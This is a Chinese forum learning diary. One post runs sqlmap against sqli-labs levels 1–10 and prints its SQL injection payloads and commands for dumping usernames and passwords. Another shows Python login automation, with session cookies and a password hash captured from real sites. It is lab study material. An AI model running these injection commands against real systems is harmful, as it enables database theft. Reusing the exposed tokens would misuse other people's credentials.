安全矩阵

 找回密码
 立即注册
搜索
楼主: Xor0ne

罗娇燕的学习日记

[复制链接]

100

主题

141

帖子

534

积分

高级会员

Rank: 4

积分
534
 楼主| 发表于 2020-7-28 21:32:43 | 显示全部楼层


2020/0726/2020/0728 学习记录

一、简要概括:

这几天主要是一边在写存储过程的两个程序,一遍在靶场不断地练习sqlmap的工具,因为之前看书太快,所以现在的把看书的速度放慢了许多,争取再过三天sqlmap跑完靶场,然后写一个sqlmap工具的总结(加油!!!)

之前把sqllibs的总结写完了,修修改改,不知带该怎么放过来了,所以就一直把它躺在我的草稿箱里面,总觉得还差点什么,但是又不知道该怎么下手去修改这个总结,唉,我终究还是太懒了~~,这几天我努力完结然后搬过来吧!


二、具体笔记

2.1、目录


sqlmap刷sqllibs_01-1-10sqlmap刷sqllibs_02-post型-11-16

sqlmap刷sqllibs_03-请求-17-20



2.2、具体过程
sqlmap刷sqllibs_01-1-10

在使用前,我们先大致介绍一下sqlmap可能的用处。

以下来自于:


版权声明:本文为CSDN博主「小明师傅」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.csdn.net/qq_24030907/article/details/106541411


0、清除sqlmap缓存:

第一个办法:在C:\Users\dragoneyes.sqlmap\output,删除output里面的内容

第二个办法:sqlmap.py --purge


1、检测注入点

  1. sqlmap -u 注入点 检测注入点是否可用
复制代码


2、暴库和数据库用户

sqlmap -u 注入点 –dbs //暴库

Web当前使用的数据库

sqlmap -u 注入点 –current-db //爆当前使用的库


Web数据库使用的账户

sqlmap -u 注入点 –current-user //当前使用的账户

列出sqlserver所有用户

sqlmap -u 注入点 –users // 列出所有使用过的账户


3、数据库账户与密码


  1. sqlmap -u 注入点 –passwords //mysql的登录账户和密码
复制代码


4、列出数据库中的表


  1. sqlmap -u 注入点 -D 指定数据库名 –tables //(-D指定数据库名称)
复制代码


5、列出表中字段


  1. sqlmap -u 注入点 -D 指定数据库名 -T 指定的表名 - -columns
复制代码


6、爆字段内容


  1. <p style="line-height: 26px;">sqlmap -u 注入点 -D 指定数据库名 -T 指定表名 -C “email,username,userpassword” –dump (将结果导出)</p>
  2. <p style="line-height: 26px;">–risk:风险等级,共有4个,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。</p>
  3. <p style="line-height: 26px;">level:共有五个等级,默认为1,在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。</p>
复制代码




1、less01-Error Based- String


由于这个比较简单,因此我们可以直接进行最高等级的暴库:


C:\Python27\sqlmap>sqlmap.py -u "http://192.168.1.177:40000/Less-1/?id=1" --level=5 --risk=3 --dbs

1

在这里插入图片描述

在跑数据库的过程中,我们可以发现,其实sqlmap会将有用的payload输出出来,看见这个,你懂了吗?载荷如下:


sqlmap resumed the following injection point(s) from stored session:

---

Parameter: id (GET)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=1' AND 4225=4225 AND 'gZcP'='gZcP


    Type: error-based

    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)

    Payload: id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7170627171,(SELECT (ELT(5094=5094,1))),0x71626a7171,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'loNl'='loNl


    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: id=1' AND (SELECT 1656 FROM (SELECT(SLEEP(5)))rOKe) AND 'cthH'='cthH


    Type: UNION query

    Title: Generic UNION query (NULL) - 3 columns

    Payload: id=-8083' UNION ALL SELECT NULL,CONCAT(0x7170627171,0x424c456c79416b53754b79614463647857484654456b76454966544364767747446a737173444955,0x71626a7171),NULL-- -

---



接下来是类似于手工注入的常规步骤:


1.1、查看当前数据库

C:\Python27\sqlmap>sqlmap.py -u "http://192.168.1.177:40000/Less-1/?id=1" --current-db


在这里插入图片描述


1.2、枚举出指定数据库中的表名–mysql -D "security"和- - tables

C:\Python27\sqlmap>sqlmap.py -u "http://192.168.1.177:40000/Less-1/?id=1" --level=5 --risk=3 --dbms=mysql -D "security" --tables


在这里插入图片描述


1.3、枚举出users表中的字段-- -T "users"和 - - col

C:\Python27\sqlmap>sqlmap.py -u "http://192.168.1.177:40000/Less-1/?id=1" --level=5 --risk=3 --dbms=mysql -D "security" -T "users" --col


在这里插入图片描述


1.4、枚举出指定字段–-C "password,username"和- - dump

C:\Python27\sqlmap>sqlmap.py -u "http://192.168.1.177:40000/Less-1/?id=1" --level=5 --risk=3 --dbms=mysql -D "security" -T "users" -C "password,username" --dump


如下,数据库尽收眼底。



2、less02-Error Based- Intiger

和第一关类似,sqlmap给出的sqlmap如下:具体的语句就不一一列举了。


sqlmap resumed the following injection point(s) from stored session:

---

Parameter: id (GET)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=1 AND 6989=6989


    Type: error-based

    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)

    Payload: id=1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7178626a71,(SELECT (ELT(6000=6000,1))),0x7162706271,0x78))s), 8446744073709551610, 8446744073709551610)))


    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: id=1 AND (SELECT 1046 FROM (SELECT(SLEEP(5)))XNPi)


    Type: UNION query

    Title: Generic UNION query (NULL) - 3 columns

    Payload: id=-3218 UNION ALL SELECT NULL,CONCAT(0x7178626a71,0x627549484c74714d6d63704b6c58725270757a6b644678537a7a714b6463415159534877596e796b,0x7162706271),NULL-- -

---



3、less03-Error Based- String (with Twist)

和第一关类似,sqlmap给出的sqlmap如下:具体的语句就不一一列举了。


Parameter: id (GET)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=1') AND 5965=5965 AND ('Uhxh'='Uhxh


    Type: error-based

    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)

    Payload: id=1') AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x717a6a7a71,(SELECT (ELT(4276=4276,1))),0x7178787671,0x78))s), 8446744073709551610, 8446744073709551610))) AND ('DhTF'='DhTF


    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: id=1') AND (SELECT 5032 FROM (SELECT(SLEEP(5)))ZpJN) AND ('qjGP'='qjGP


    Type: UNION query

    Title: Generic UNION query (NULL) - 3 columns

    Payload: id=-8381') UNION ALL SELECT NULL,NULL,CONCAT(0x717a6a7a71,0x6244626e745745795371456665544570755652784f4c6256444c794f4e6a787a654e474f4b767255,0x7178787671)-- -

---



4、less04-Error Based- DoubleQuotes String


和第一关类似,sqlmap给出的sqlmap如下:具体的语句就不一一列举了。


sqlmap identified the following injection point(s) with a total of 69 HTTP(s) requests:

---

Parameter: id (GET)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)

    Payload: id=1") AND 3072=3072#


    Type: error-based

    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)

    Payload: id=1") AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a6b7071,(SELECT (ELT(5205=5205,1))),0x716b626271,0x78))s), 8446744073709551610, 8446744073709551610))) AND ("yfvD"="yfvD


    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: id=1") AND (SELECT 3354 FROM (SELECT(SLEEP(5)))Cwyc) AND ("gvAz"="gvAz


    Type: UNION query

    Title: MySQL UNION query (NULL) - 3 columns

    Payload: id=-8029") UNION ALL SELECT NULL,CONCAT(0x716a6b7071,0x724d544d6171674c56465a6c4c7247716677484e4851686a4e63676b456e587a464669414c765268,0x716b626271),NULL#

---


1

5、less05-Double Query- Single Quotes- String

和第一关类似,sqlmap给出的sqlmap如下:具体的语句就不一一列举了。

sqlmap给出的paylaod如下:


sqlmap identified the following injection point(s) with a total of 223 HTTP(s) requests:

---

Parameter: id (GET)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=1' AND 7188=7188 AND 'mqLE'='mqLE


    Type: error-based

    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)

    Payload: id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x717a707071,(SELECT (ELT(6541=6541,1))),0x7170707a71,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'aJRC'='aJRC


    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: id=1' AND (SELECT 8698 FROM (SELECT(SLEEP(5)))CBFA) AND 'fmva'='fmva

---


6、less06-Double Query- Double Quotes- String

和第一关类似,sqlmap给出的sqlmap如下:具体的语句就不一一列举了。

sqlmap给出的语句如下:


sqlmap identified the following injection point(s) with a total of 221 HTTP(s) requests:

---

Parameter: id (GET)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)

    Payload: id=1" AND 4582=4582#


    Type: error-based

    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)

    Payload: id=1" AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b6b7071,(SELECT (ELT(8039=8039,1))),0x7178767a71,0x78))s), 8446744073709551610, 8446744073709551610)))-- uBIu


    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: id=1" AND (SELECT 8198 FROM (SELECT(SLEEP(5)))BnZi)-- XRBu

---


7、less07-Dump into Outfile

和第一关类似,sqlmap给出的sqlmap如下:具体的语句就不一一列举了。

sqlmap给出的语句如下:


sqlmap identified the following injection point(s) with a total of 287 HTTP(s) requests:

---

Parameter: id (GET)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=1') AND 7606=7606 AND ('QcoM'='QcoM


    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: id=1') AND (SELECT 3053 FROM (SELECT(SLEEP(5)))oLyk) AND ('rXXO'='rXXO

---


8、less08-Blind- Boolian- Single Quotes- String

和第一关类似,sqlmap给出的sqlmap如下:具体的语句就不一一列举了。

sqlmap给出的语句如下:



sqlmap identified the following injection point(s) with a total of 252 HTTP(s) requests:

---

Parameter: id (GET)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=1' AND 7494=7494 AND 'UORd'='UORd


    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: id=1' AND (SELECT 9331 FROM (SELECT(SLEEP(5)))MYFE) AND 'sZZC'='sZZC

---


9、less09-Blind- Time based- Single Quotes- String

和第一关类似,sqlmap给出的sqlmap如下:具体的语句就不一一列举了。

sqlmap给出的语句如下:


sqlmap identified the following injection point(s) with a total of 252 HTTP(s) requests:

---

Parameter: id (GET)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=1' AND 4639=4639 AND 'PEyr'='PEyr


    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: id=1' AND (SELECT 8651 FROM (SELECT(SLEEP(5)))TJGQ) AND 'wKXs'='wKXs

---


10、less10-Blind- Time based- Double Quotes- String

和第一关类似,sqlmap给出的sqlmap如下:具体的语句就不一一列举了。

在查找所有数据库的时候需要列一下等级水平和风险等级,如下:


C:\Python27\sqlmap>sqlmap.py -u "http://192.168.1.177:40000/Less-8/?id=1" --current-db --level=5 --risk=3

1

sqlmap给出的语句如下:


sqlmap resumed the following injection point(s) from stored session:

---

Parameter: id (GET)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=1' AND 7494=7494 AND 'UORd'='UORd


    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: id=1' AND (SELECT 9331 FROM (SELECT(SLEEP(5)))MYFE) AND 'sZZC'='sZZC

---



回复

使用道具 举报

100

主题

141

帖子

534

积分

高级会员

Rank: 4

积分
534
 楼主| 发表于 2020-12-14 00:42:23 | 显示全部楼层
本帖最后由 Xor0ne 于 2020-12-14 01:05 编辑

python-模拟登陆






环境:python3
一、已知cookie模拟登陆1.1、urllib
登陆一个网站,然后burpsuite抓包获取cookie,模拟登陆代码如下:
限制:比如测试的网站cooki是一个会话,当会话结束时,之前的cookie便过期了,此时再次模拟登陆将会失败。
#urllib.request:用于处理从 urls 接收的数据
from urllib import request
import json


#登录后才能访问的网站
url = 'http://zxjf.ecjtu.edu.cn/Student/index.aspx'

#浏览器登录后得到的cookie,也就是刚才复制的字符串
cookie = r'ASP.NET_SessionId=jm4iqsy1aten3qdkxm5vcl4r'
##将url和请求数据处理为一个Request对象,供urlopen调用
req = request.Request(url)
#设置cookie
req.add_header('cookie', cookie)
#设置请求头
req.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36')
#用于实现对目标url的访问。
resp = request.urlopen(req)
#read()方法通过utf-8编码读取返回数据内容
print(resp.read().decode('utf-8'))
#print(resp.info()) #获取头部信息,包括Content-Type、Server、X-AspNet-Version、X-Powered-By、Cache-Control等常见字段信息


1.2.requests

#request获取​
import requests
#登录后才能访问的网页
url = 'http://zxjf.ecjtu.edu.cn/Student/index.aspx'
#浏览器登录后得到的cookie,也就是刚才复制的字符串
cookie = r'ASP.NET_SessionId=jm4iqsy1aten3qdkxm5vcl4r'
#把cookie字符串处理成字典,以便接下来使用
cookies = {}
for line in cookie.split(';'):
    key, value = line.split('=', 1)
    cookies[key] = value

headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'}
#在发送get请求时带上请求头和cookies
resp = requests.get(url, headers = headers, cookies = cookies)

print(resp.content.decode('utf-8')) #返回响应包的整个响应包

二、python模拟登录获取cookie和post获取cookie
先放一个大致的框架,后面的终极代码我们再看
模拟post请求获取返回包中的cookie
from urllib import request
import urllib.parse
import requests

#登录后才能访问的网站
url = 'http://jsnu.fuyunweb.com/manage/admin/pt_login.aspx'

data = {
        "action":"login",
        "uid":"用户名",
        "pass":"密码"
        }
headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'}
resp = requests.post(url=url,data=data,headers=headers)
print(resp.status_code)#输出请求状态码
print(resp.url)#输出请求url
print(resp.text)#输出请求返回的内容
print(resp.headers)#输出响应包的请求头信息
print("set-cookie:" + resp.headers['Set-Cookie'])#输出cookie信息

返回的内容如下,
200
http://jsnu.fuyunweb.com/manage/admin/pt_login.aspx
success<$$$$>/manage/admin/admin_pt_main.aspx<$$$$>/manage/admin/admin_pt_order_mydbgd.aspx
#一下为输出的cookie信息
set-cookie:userinfo=; expires=Sat, 12-Dec-2020 04:23:18 GMT; path=/, userinfo=userid=ZTxan6d5Aja4AMMDe5yu&uid=pCRUyMSkr5XlOxie3ganHRdIJ7fQDe5yuDe5yu&pass=837A6C7DDD08D1629D0F1394190687EE&schoolid=7YTECdKVMaQDe5yu&cookid=bca6d466-da54-4f76-a41a-e03093d2867e; domain=jsnu.fuyunweb.com; expires=Sat, 02-Jan-2021 04:23:18 GMT; path=/; HttpOnly

cookie模拟登录:利用cookiejar获取cookie,然后利用获取的cookie再次去请求需要访问的访问的网页。代码如下:
#方法二:模拟post请求,获取cookie包,然后进行登录
#cookiejar获取并处理cookie参数。
from urllib import request
import urllib.parse
from http import cookiejar
import requests

#登录后才能访问的网站
auth_url = 'http://jsnu.fuyunweb.com/manage/admin/pt_login.aspx'
post_url = 'http://jsnu.fuyunweb.com/manage/admin/admin_pt_main.aspx'

data = {
        "action":"login",
        "uid":"用户名",
        "pass":"密码"
        }

post_data=urllib.parse.urlencode(data).encode(encoding='UTF8')
headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'}

# 声明一个CookieJar对象实例来保存cookie
cookie = cookiejar.CookieJar()
# 利用urllib.request库的HTTPCookieProcessor对象来创建cookie处理器,也就CookieHandler
handler=request.HTTPCookieProcessor(cookie)
# 通过CookieHandler创建opener
opener = request.build_opener(handler)
# 获取cookie
req = request.Request(auth_url,post_data,headers)
resp=opener.open(req)
print(resp.info()['set-cookie'])
# 自动带着cookie信息访问登录后的页面
resp2=opener.open(post_url)
print(resp2.info()) #返回响应包中响应头顶的信息,不包活html页面的内容
#显示登录的页面结果
print(resp2.read())

对于info()和read()的返回结果我们通过输出结果来加深一下印象。
实际的响应包如下:

file://D:/remember/MY%20text/%E6%AF%8F%E6%97%A5%E7%AC%94%E8%AE%B0/%E8%AF%AD%E8%A8%80%E7%BB%83%E4%B9%A0/python%E6%A8%A1%E6%8B%9F%E7%99%BB%E9%99%86.assets/image-20201213163752432.png?lastModify=1607877730
两个函数的的响应包分别来看一下:
  • info():



  • read()
file://D:/remember/MY%20text/%E6%AF%8F%E6%97%A5%E7%AC%94%E8%AE%B0/%E8%AF%AD%E8%A8%80%E7%BB%83%E4%B9%A0/python%E6%A8%A1%E6%8B%9F%E7%99%BB%E9%99%86.assets/image-20201213163711864.png?lastModify=1607877730


三、selenium模拟登陆

Selenium 是一个用于Web应用程序测试的工具。Selenium测试直接运行在浏览器中,就像真正的用户在操作一样。支持的浏览器包括IE(7, 8, 9, 10, 11),Mozilla FirefoxSafariGoogle ChromeOpera等。这个工具的主要功能包括:测试与浏览器的兼容性——测试你的应用程序看是否能够很好得工作在不同浏览器和操作系统之上。测试系统功能——创建回归测试检验软件功能和用户需求。支持自动录制动作和自动生成.NetJavaPerl等不同语言的测试脚本。

3.1.常见的函数使用
selenium.webdriver支持各种浏览器,包括谷歌、火狐、IE等浏览器,这里主要使用谷歌,不同浏览器操作区别不太。常用的几个函数包如下
from selenium import webdriver #基础模块应用,用来创建浏览器对象,操作浏览器
from selenium.common.exceptions import TimeoutException #异常处理
from selenium.webdriver.support.ui import WebDriverWait # 设置等待浏览器加载


3.2.html中的定位元素
html中的元素定位上面都准备好了之后,只要熟悉了html的定位就可以很好的进行模拟登陆了。元素查找分为以下几类:
(1)find_element_by_name------通过它的name属性单位到这个元素
(2)find_element_by_id--------通过它的id属性单位到这个元素。
(3)find_element_by_xpath-----如果一个元素它既没有id、name、class属性也不是超链接,这么办呢?或者说它的属性很多重复的。这个时候就可以用xpath解决
(4)find_element_by_link_text--通过link超链接属性定位
(5)find_element_by_partial_link_text-有时候一个超链接它的字符串可能比较长,如果输入全称的话,会显示很长,这时候可以用一模糊匹配方式,截取其中一部分字符串就可以了
(6)find_element_by_tag_name---每个元素都有tag(标签)属性
(7)find_element_by_class_name-通过它的class属性定位到这个元素
(8)find_element_by_css_selector


1.find_element_by_id--定位id属性
以百度搜索框为例,id属性由浏览器-->F12寻找搜索框的id属性得来。如下:

file://D:/remember/MY%20text/%E6%AF%8F%E6%97%A5%E7%AC%94%E8%AE%B0/%E8%AF%AD%E8%A8%80%E7%BB%83%E4%B9%A0/python%E6%A8%A1%E6%8B%9F%E7%99%BB%E9%99%86.assets/image-20201213142614352.png?lastModify=1607877730
其他类似的属性:

file://D:/remember/MY%20text/%E6%AF%8F%E6%97%A5%E7%AC%94%E8%AE%B0/%E8%AF%AD%E8%A8%80%E7%BB%83%E4%B9%A0/python%E6%A8%A1%E6%8B%9F%E7%99%BB%E9%99%86.assets/image-20201213143624361.png?lastModify=1607877730
link属性按钮比如hao123

file://D:/remember/MY%20text/%E6%AF%8F%E6%97%A5%E7%AC%94%E8%AE%B0/%E8%AF%AD%E8%A8%80%E7%BB%83%E4%B9%A0/python%E6%A8%A1%E6%8B%9F%E7%99%BB%E9%99%86.assets/image-20201213144212717.png?lastModify=1607877730

  1. from selenium import webdriver
  2. from time import sleep
  3. driver = webdriver.Chrome()
  4. driver.get('https://www.baidu.com/')
  5. # 通过id属性定位百度搜索框,并输入“python”
  6. driver.find_element_by_id("kw").send_keys("python")
  7. # 通过name属性定位百度搜索框,并输入“python”--->可能会产生报错,主要是由于name属性不唯一
  8. dirver.find_element_by_name("wd").send_keys("python")
  9. # 通过class属性定位百度搜索框,并输入“python”
  10. driver.find_element_by_class_name("s_ipt").send_keys("python")
  11. # 从上面定位到的元素属性中,可以看到每个元素都有tag(标签)属性,如搜索框的标签属性,就是最前面的input-->直接运行是会报错的
  12. driver.find_element_by_tag_name("input").send_keys("python")
  13. # 通过link(超链接)属性定位hao123按钮,并点击
  14. driver.find_element_by_link_text("hao123").click()
  15. # 有时候一个超链接它的字符串可能比较长,如果输入全称的话,会显示很长,这时候可以用一模糊匹配方式,截取其中一部分字符串就可以了
  16. #partial_link是一种模糊匹配的方式,对于超长字符中的一段进行匹配
  17. driver.find_element_by_partial_link_text("ao123").click()
  18. # 通过xpath语法进行定位
  19. driver.find_element_by_xpath('//*[@id="kw"]').send_keys("python")
复制代码

find_element_by_xpath()------以上定位方式都是通过元素的某个属性来定位的,如果一个元素它既没有id、name、class属性也不是超链接,这么办呢?或者说它的属性很多重复的。这个时候就可以用xpath解决
使用方法:chrome应用商店下载xpath helper插件,该插件在安装后,打开某个网页 拷贝目标页面元素的XPATH,如下图所示。copy的结果为:
  1. //*[@id="kw"]/html/body/div[1]/div[2]/div[5]/div[1]/div/form/span[1]/input
复制代码

file://D:/remember/MY%20text/%E6%AF%8F%E6%97%A5%E7%AC%94%E8%AE%B0/%E8%AF%AD%E8%A8%80%E7%BB%83%E4%B9%A0/python%E6%A8%A1%E6%8B%9F%E7%99%BB%E9%99%86.assets/image-20201213145525510.png?lastModify=1607877730


selenium模拟登陆的代码如下:
find_element_by_css_selector中的元素我们可以在chrome中右边copy selector选择得出,具体如下图所示:

#方式三:selenium模拟登录
from selenium import webdriver
from time import sleep
driver = webdriver.Chrome()
driver.get('http://jsnu.fuyunweb.com/login2.html')
sleep(2)
driver.find_element_by_name("user").send_keys("用户名")
driver.find_element_by_name("passwordLogin").send_keys("密码")
sleep(2)
# find_element_by_css_selector中的元素在chrome中可以通过右键copy selector 进行选择
driver.find_element_by_css_selector("body > div.login2.log > div > div.loginbtn > button").click()#登录点击模拟

file://D:/remember/MY%20text/%E6%AF%8F%E6%97%A5%E7%AC%94%E8%AE%B0/%E8%AF%AD%E8%A8%80%E7%BB%83%E4%B9%A0/python%E6%A8%A1%E6%8B%9F%E7%99%BB%E9%99%86.assets/image-20201213151434544.png?lastModify=1607877730

输出结果:如下,自动输入用户名和密码进行登录

file://D:/remember/MY%20text/%E6%AF%8F%E6%97%A5%E7%AC%94%E8%AE%B0/%E8%AF%AD%E8%A8%80%E7%BB%83%E4%B9%A0/python%E6%A8%A1%E6%8B%9F%E7%99%BB%E9%99%86.assets/image-20201213164605176.png?lastModify=1607877730

四.socket模拟登陆
什么是Socket?
Socket又称"套接字",应用程序通常通过"套接字"向网络发出请求或者应答网络请求,使主机间或者一台计算机上的进程间可以通讯。

# 方式四:socket编程
import socket
from urllib.parse import urlparse

url = urlparse('http://XXX/login2.html')#登录界面
host = url.netloc        #获取url中的host
path = url.path #获取url后面的路径
#data为抓包的响应包
data = '''
POST /manage/admin/pt_login.aspx HTTP/1.1
Host: jsnu.fuyunweb.com
Content-Length: 40
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://XXX
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=2fwb5pydk0htjy45nanudauf; userinfo=userid=ZTxan6d5Aja4AMMDe5yu&uid=pCRUyMSkr5XlOxie3ganHRdIJ7fQDe5yuDe5yu&pass=837A6C7DDD08D1629D0F1394190687EE&schoolid=7YTECdKVMaQDe5yu&cookid=9f729e29-a4d2-4b39-8bbc-068e2c7ab644
Connection: close

action=login&uid=用户名&pass=密码
'''
# 建立socke连接,如果是https请求需要使用ssl,例如:ssl.wrap_socket(socket.socket())
# ssl是专门用来处理https的模块,我们使用该模块的wrap_socket函数生成一个SSLSocket对象,使用前需要使用import进行导入
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host,80))        #建立连接
sock.send(data.format(path, host).encode("utf-8"))        #发送数据
#recv_data = sock.recv(8192) #可以直接获取响应包的数据,以下循环纯属是用来对响应包格式进行一个规范的没有什么意义
recv_data = b""
while True:
    d = sock.recv(1024)
    if d:
        recv_data += d
    else:
        break
recv_data = recv_data.decode("utf-8")
print(recv_data)
sock.close()


输出结果如下:
  1. HTTP/1.1 200 OK
  2. Cache-Control: private
  3. Content-Length: 91
  4. Content-Type: text/html; charset=utf-8
  5. Server: Microsoft-IIS/8.0
  6. X-AspNet-Version: 2.0.50727
  7. Set-Cookie: userinfo=; expires=Sat, 12-Dec-2020 07:55:03 GMT; path=/
  8. Set-Cookie: userinfo=userid=ZTxan6d5Aja4AMMDe5yu&uid=pCRUyMSkr5XlOxie3ganHRdIJ7fQDe5yuDe5yu&pass=837A6C7DDD08D1629D0F1394190687EE&schoolid=7YTECdKVMaQDe5yu&cookid=be8bf64b-430a-400c-b735-bd11ce65c6cc; domain=jsnu.fuyunweb.com; expires=Sat, 02-Jan-2021 07:55:03 GMT; path=/; HttpOnly
  9. X-Powered-By: ASP.NET
  10. Date: Sun, 13 Dec 2020 07:55:02 GMT
  11. Connection: close

  12. success<[        DISCUZ_CODE_2        ]gt;/manage/admin/admin_pt_main.aspx<[        DISCUZ_CODE_2        ]gt;/manage/admin/admin_pt_order_mydbgd.aspx
复制代码


socket拓展:

Socket是应用层与TCP/IP协议族通信的中间软件抽象层,它是一组接口。在设计模式中,Socket其实就是一个门面模式,它把复杂的TCP/IP协议族隐藏在Socket接口后面,对用户来说,一组简单的接口就是全部,让Socket去组织数据,以符合指定的协议。
socket又称为套接字,可以将其分为多种:
1.基于文件类型的套接字:AF_UNIX unix一切皆文件,基于文件的套接字调用的就是底层的文件系统来取数据,两个套接字进程运行在同一机器,可以通过访问同一个文件系统间接完成通信
2.基于网络类型的套接字:AF_INET/6 还有AF_INET6被用于ipv6,还有一些其他的地址家族,不过,他们要么是只用于某个平台,要么就是已经被废弃,或者是很少被使用,或者是根本没有实现,所有地址家族中,AF_INET是使用最广泛的一个,python支持很多种地址家族,但是由于我们只关心网络编程,所以大部分时候我么只使用AF_INET

一个生活中的场景。你要打电话给一个朋友,先拨号,朋友听到电话铃声后提起电话,这时你和你的朋友就建立起了连接,就可以讲话了。等交流结束,挂断电话结束此次交谈。 生活中的场景就解释了这工作原理。
服务器端先初始化Socket,然后与端口绑定(bind),对端口进行监听(listen),调用accept阻塞,等待客户端连接。
客户端初始化一个Socket,然后连接服务器(connect),如果连接成功,这时客户端与服务器端的连接就建立了。客户端发送数据请求,服务器端接收请求并处理请求,然后把回应数据发送给客户端,客户端读取数据,最后关闭连接,一次交互结束。
# 获取tcp/ip套接字
tcpSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 获取udp/ip套接字
udpSock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# 由于 socket 模块中有太多的属性。我们在这里破例使用了'from module import *'语句。使用 'from socket import *',我们就把 socket 模块里的所有属性都带到我们的命名空间里了,这样能 大幅减短我们的代码。
# 例如tcpSock = socket(AF_INET, SOCK_STREAM)

'''
# 涉及到的参数
AF_UNIX : 文件类型的套接字
AF_INET/6 :网络类型的套接字
SOCK_STREAM:提供面向连接的稳定数据传输,即TCP协议
SOCK_DGRAM :是基于UDP的,专门用于局域网
protocal : 协议默认为0填写的就是tcp协议
'''

# 服务端套接字函数
s.bind()    绑定(主机,端口号)到套接字
s.listen()  开始TCP监听,半连接池可以指定等待数量
s.accept()  被动接受TCP客户的连接,(阻塞式)等待连接的到来

# 客户端套接字函数


s.connect()     主动初始化TCP服务器连接
s.connect_ex()  connect()函数的扩展版本,出错时返回出错码,而不是抛出异常

# 公共用途的套接字函数
s.recv()            接收TCP数据
s.send()            发送TCP数据(send在待发送数据量大于己端缓存区剩余空间时,数据丢失,不会发完)
s.sendall()         发送完整的TCP数据(本质就是循环调用send,sendall在待发送数据量大于己端缓存区剩余空间时,数据不丢失,循环调用send直到发完)
s.recvfrom()        接收UDP数据
s.sendto()          发送UDP数据
s.getpeername()     连接到当前套接字的远端的地址
s.getsockname()     当前套接字的地址
s.getsockopt()      返回指定套接字的参数
s.setsockopt()      设置指定套接字的参数
s.close()           关闭套接字

# 面向锁的套接字方法
s.setblocking()     设置套接字的阻塞与非阻塞模式
s.settimeout()      设置阻塞套接字操作的超时时间
s.gettimeout()      得到阻塞套接字操作的超时时间

# 面向文件的套接字的函数
s.fileno()          套接字的文件描述符
s.makefile()        创建一个与该套接字相关的文件

PS:一些用户名和密码比较涉及隐私,就码掉了,调用函数这自行添加啊!

后记:
洗漱完了,想着模拟登陆的今天恰好写了一点,所以就想着先把日记搬过来再睡吧!此刻,日记结束,睡觉!晚安!
今天看见一句话,不是很懂,但还是记录一下吧,语句如下:
